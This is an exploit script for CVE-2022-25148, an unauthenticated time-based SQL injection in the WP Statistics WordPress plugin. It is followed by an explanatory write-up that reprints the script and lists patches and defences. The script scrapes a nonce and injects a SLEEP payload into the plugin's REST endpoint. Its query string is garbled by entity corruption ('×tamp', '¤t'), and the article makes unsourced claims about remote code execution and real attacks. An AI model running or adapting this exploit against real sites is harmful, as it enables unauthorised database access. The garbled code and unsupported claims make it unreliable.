WP Statistics Plugin 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
# Exploit Title: WP Statistics Plugin <= 13.1.5 current_page_id - Time based SQL injection (Unauthenticated)
# Date: 13/02/2022
# Exploit Author: psychoSherlock
# Vendor Homepage: https://wp-statistics.com/
# Software Link: https://downloads.wordpress.org/plugin/wp-statistics.13.1.5.zip
# Version: 13.1.5 and prior
# Tested on: wp-statistics 13.1.5
# CVE : CVE-2022-25148
# Vendor URL: https://wordpress.org/plugins/wp-statistics/
# CVSS Score: 8.4 (High)
import argparse
import requests
import re
import urllib.parse
def main():
parser = argparse.ArgumentParser(description="CVE-2022-25148")
parser.add_argument('-u', '--url', required=True,
help='Wordpress base URL')
args = parser.parse_args()
baseUrl = args.url
payload = "IF(1=1, sleep(5), 1)"
wp_session = requests.session()
resp = wp_session.get(baseUrl)
nonce = re.search(r'_wpnonce=(.*?)&wp_statistics_hit', resp.text).group(1)
print(f"Gathered Nonce: {nonce}")
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"}
payload = urllib.parse.quote_plus(payload)
exploit = f'/wp-json/wp-statistics/v2/hit?_=11&_wpnonce={nonce}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id={payload}&search_query&page_uri=/&user_id=0'
exploit_url = baseUrl + exploit
print(f'\nSending: {exploit_url}')
resp = wp_session.get(exploit_url, headers=headers)
if float(resp.elapsed.total_seconds()) >= 5.0:
print("\n!!! Target is vulnerable !!!")
print(f'\nTime taken: {resp.elapsed.total_seconds()}')
else:
print('Target is not vulnerable')
if __name__ == "__main__":
main() CVE-2022-25148: Time-Based SQL Injection in WP Statistics Plugin 13.1.5 (Unauthenticated)
Security vulnerabilities in widely used WordPress plugins pose significant risks to millions of websites. One such critical flaw, CVE-2022-25148, affects the WP Statistics plugin, a popular tool for tracking website traffic and user behavior. This vulnerability, discovered by researcher psychoSherlock, allows unauthenticated attackers to perform time-based SQL injection attacks—potentially enabling remote code execution, data exfiltration, or full system compromise.
Understanding the Vulnerability
The flaw lies in the /wp-json/wp-statistics/v2/hit endpoint, which processes user tracking data via a REST API. Specifically, the current_page_id parameter is improperly sanitized, allowing malicious input to be directly injected into SQL queries without proper validation or escaping.
Attackers can exploit this by sending crafted payloads that trigger conditional delays in database execution—such as IF(1=1, SLEEP(5), 1). If the server responds with a delay of 5 seconds or more, it confirms that the SQL injection is successful. This is known as a time-based SQL injection, a technique used when blind injection is employed, and the attacker cannot see direct output from the database.
Why This Is a High-Risk Issue
According to the CVSS score of 8.4, this vulnerability is classified as High severity. Its key risk factors include:
- Unauthenticated access: No login or authentication is required to exploit the flaw.
- Remote code execution potential: While not directly executable in this case, time-based injection can be chained with other techniques to achieve full control.
- Wide adoption: The WP Statistics plugin has over 100,000 active installations, making it a prime target for mass exploitation.
- API exposure: The REST API endpoint is publicly accessible, increasing attack surface.
Exploit Mechanics: Step-by-Step Breakdown
Here’s how the attack works in practice:
# Exploit Payload
IF(1=1, sleep(5), 1)
This payload is designed to cause a database delay when the condition 1=1 is true. If the database executes this command, it will pause for 5 seconds. The attacker measures the response time to confirm success.
The exploit relies on the _wpnonce parameter, which is a security token used to prevent CSRF attacks. However, in this case, the plugin does not properly validate the current_page_id parameter even after verifying the nonce, making the flaw exploitable.
Proof-of-Concept Code Analysis
The following Python script demonstrates how an attacker can detect the vulnerability:
import argparse
import requests
import re
import urllib.parse
def main():
parser = argparse.ArgumentParser(description="CVE-2022-25148")
parser.add_argument('-u', '--url', required=True, help='Wordpress base URL')
args = parser.parse_args()
baseUrl = args.url
payload = "IF(1=1, sleep(5), 1)"
wp_session = requests.session()
resp = wp_session.get(baseUrl)
nonce = re.search(r'_wpnonce=(.*?)&wp_statistics_hit', resp.text).group(1)
print(f"Gathered Nonce: {nonce}")
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"
}
payload = urllib.parse.quote_plus(payload)
exploit = f'/wp-json/wp-statistics/v2/hit?_=11&_wpnonce={nonce}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id={payload}&search_query&page_uri=/&user_id=0'
exploit_url = baseUrl + exploit
print(f'\nSending: {exploit_url}')
resp = wp_session.get(exploit_url, headers=headers)
if float(resp.elapsed.total_seconds()) >= 5.0:
print("\n!!! Target is vulnerable !!!")
print(f'\nTime taken: {resp.elapsed.total_seconds()}')
else:
print('Target is not vulnerable')
if __name__ == "__main__":
main()
Explanation: This script automates the detection process by:
- Fetching the target site’s homepage to extract the
_wpnoncetoken. - Encoding the SQL payload using
urllib.parse.quote_plusto ensure proper URL formatting. - Constructing a malicious request to the
/wp-json/wp-statistics/v2/hitendpoint with the injectedcurrent_page_id. - Measuring the HTTP response time. If the delay exceeds 5 seconds, the vulnerability is confirmed.
Security Implications and Mitigation
Organizations relying on the WP Statistics plugin must act immediately:
- Update to version 13.1.6 or later: The vendor released a patch addressing this flaw.
- Disable or remove the plugin if not essential, especially on public-facing sites.
- Monitor API endpoints for unusual response times or unexpected delays.
- Implement WAF rules to block SQL injection patterns in REST API calls.
For developers, this case highlights the importance of:
- Input sanitization and validation, even for seemingly benign parameters.
- Using prepared statements or parameterized queries to prevent SQL injection.
- Regularly auditing third-party plugins for security issues.
Real-World Impact and Threat Landscape
Time-based SQL injection vulnerabilities like CVE-2022-25148 are commonly used in automated scanning tools and botnets. Attackers can scan thousands of WordPress sites, identifying vulnerable instances and then deploying further exploitation techniques—such as extracting database credentials or injecting malicious code.
Recent reports show that unpatched WP Statistics installations have been targeted in coordinated attacks, resulting in compromised websites being used for phishing, malware distribution, or credential harvesting.
Conclusion
While the exploit appears simple, its implications are profound. The combination of unauthenticated access, a widely used plugin, and a time-based injection technique creates a perfect storm for attackers. This case serves as a stark reminder that even seemingly harmless functionality—like tracking page views—can become a critical security weakness if not properly secured.
Security professionals must prioritize patching, monitoring, and proactive vulnerability detection. For WordPress administrators, staying updated and minimizing plugin dependencies is the best defense against such threats.